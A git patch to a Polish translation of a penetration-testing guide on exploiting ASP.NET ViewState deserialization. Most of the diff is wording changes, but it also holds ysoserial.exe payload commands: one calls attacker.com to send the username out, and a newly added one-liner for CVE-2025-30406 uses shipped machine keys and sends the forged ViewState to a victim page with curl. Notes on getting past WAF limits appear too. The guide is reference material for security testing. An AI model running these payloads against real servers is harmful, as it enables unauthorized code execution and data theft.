From bc5e5a66dd8892176c1d5f7aae7c3569cfedaf9c Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 10 Aug 2025 18:16:03 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 50 ++++++++++++++++--- 1 file changed, 44 insertions(+), 6 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index dd4f19549..b3b060c26 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -6,9 +6,9 @@ ## Czym jest ViewState -**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState. +**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości, które mają być zachowane podczas postbacku, są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState. -Informacje o ViewState można scharakteryzować przez następujące właściwości lub ich kombinacje: +Informacje o ViewState można scharakteryzować następującymi właściwościami lub ich kombinacjami: - **Base64**: - Ten format jest wykorzystywany, gdy zarówno atrybuty `EnableViewStateMac`, jak i `ViewStateEncryptionMode` są ustawione na false. @@ -114,9 +114,9 @@ W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy w **Przed .NET 4.5**, ASP.NET może **akceptować** **niezaszyfrowany** \_`__VIEWSTATE`\_ parametr od użytkowników **nawet** jeśli **`ViewStateEncryptionMode`** został ustawiony na _**Zawsze**_. ASP.NET **sprawdza tylko** **obecność** parametru **`__VIEWSTATEENCRYPTED`** w żądaniu. **Jeśli usuniemy ten parametr i wyślemy niezaszyfrowany ładunek, nadal zostanie on przetworzony.** -Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki deserializacji ViewState. +Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki w deserializacji ViewState. -- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie. +- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę w deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie. ### Test Case: 4 – .Net >= 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true/false z wyjątkiem obu atrybutów ustawionych na false @@ -151,7 +151,7 @@ Gdy zostanie zidentyfikowany ważny klucz maszyny, **następnym krokiem jest wyg ``` ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" ``` -Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** parametru `--generator` z tą wartością i **pominąć** parametry `--path` i `--apppath`. +Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** parametru `--generator` z tą wartością i **pominąć** parametry `--path` oraz `--apppath`. ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) @@ -159,7 +159,7 @@ Udane wykorzystanie podatności na deserializację ViewState doprowadzi do żąd ### Test Case 6 – Używany jest ViewStateUserKeys -Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakiem CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\ +Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakami CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\ Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek: ```bash --viewstateuserkey="randomstringdefinedintheserver" @@ -201,8 +201,46 @@ curl "http://victim/page.aspx?__VIEWSTATE=" ``` Ten **prymityw eksfiltracji kluczy** był masowo wykorzystywany przeciwko lokalnym serwerom SharePoint w 2025 roku ("ToolShell" – CVE-2025-53770/53771), ale ma zastosowanie w każdej aplikacji ASP.NET, w której atakujący może uruchomić kod po stronie serwera. +## Scenariusze rzeczywistego wykorzystania w latach 2024-2025 i twardo zakodowane klucze maszyn + +### Fala "publicznie ujawnionych kluczy maszyn" Microsoftu (grudzień 2024 – luty 2025) +Microsoft Threat Intelligence zgłosił masowe wykorzystanie witryn ASP.NET, w których *machineKey* wcześniej wyciekł w publicznych źródłach (GitHub gists, posty na blogach, strony paste). Przeciwnicy enumerowali te klucze i generowali ważne gadżety `__VIEWSTATE` z nowymi flagami `ysoserial.net` 1.41 `--minify` i `--islegacy`, aby ominąć limity długości WAF: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \ +--validationkey= --validationalg=SHA1 \ +--decryptionkey= --decryptionalg=AES \ +--generator= --minify +``` +Rotacja statycznych kluczy lub przejście na klucze *AutoGenerate* w Web .config (``) łagodzi tę klasę ataków. {{#ref}} + +{{#endref}} + +### CVE-2025-30406 – Gladinet CentreStack / Triofox twardo zakodowane klucze +Kudelski Security odkrył, że wiele wydań CentreStack / Triofox dostarczono z identycznymi wartościami `machineKey`, co umożliwia nieautoryzowane zdalne wykonanie kodu poprzez fałszowanie ViewState (CVE-2025-30406). + +Jednolinijkowy exploit: +```bash +ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \ +--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \ +--validationalg=SHA1 \ +--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \ +--decryptionalg=AES --generator=24D41AAB --minify \ +| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx +``` +Naprawione w CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – zaktualizuj lub natychmiast wymień klucze. {{#ref}} + + +{{#endref}} + ## References +- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) +- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) +- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) +- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/) +- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/) +- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/) - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)